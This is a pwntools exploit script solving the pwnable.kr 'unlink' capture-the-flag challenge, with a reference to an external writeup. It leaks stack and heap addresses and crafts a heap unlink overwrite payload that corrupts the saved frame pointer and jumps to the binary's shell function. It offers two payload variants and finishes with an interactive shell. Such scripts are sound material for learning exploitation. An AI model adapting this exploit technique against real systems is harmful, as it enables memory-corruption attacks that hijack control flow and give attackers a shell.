pwnable.kr unlink, gcc -m32 unlink.c -o unlink, ref: https://medium.com/@c0ngwang/pwnable-kr-writeup-unlink-6d2023c2fa13

unlink.py

# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

exe = './unlink'

io = process(exe)

var1_stack_addr = int(io.recvline().split(':')[1].strip(), 16)
var1_heap_addr = int(io.recvline().split(':')[1].strip(), 16)
io.recvline()

# print hex(var1_stack_addr)
# print hex(var1_heap_addr)

shell_addr = 0x0804853B     # .text:0804853B shell           proc near
main_ebp_addr = var1_stack_addr + 0x18

# 804866b:	8b 4d fc             	mov    -0x4(%ebp),%ecx
# 804866e:	c9                   	leave  
# 804866f:	8d 61 fc             	lea    -0x4(%ecx),%esp
# 8048672:	c3                   	ret  

# method 1
# exploit: p->fp-bk = p->bk ==> ecx -> heap_addr + 0xC
payload = p32(shell_addr) + 'A'*12 + p32(var1_heap_addr+0xC) + p32(main_ebp_addr-0x4)
payload = 'A'*16 + p32(var1_heap_addr+0x24) + p32(main_ebp_addr-0x4) + p32(shell_addr)

# method 2
# exploit: p->bk->fp = p->fp ==> ecx -> heap_addr + 0xC
#payload = p32(shell_addr) + 'A'*12 + p32(main_ebp_addr-0x8) + p32(var1_heap_addr+0xC)

io.sendline(payload)
io.interactive()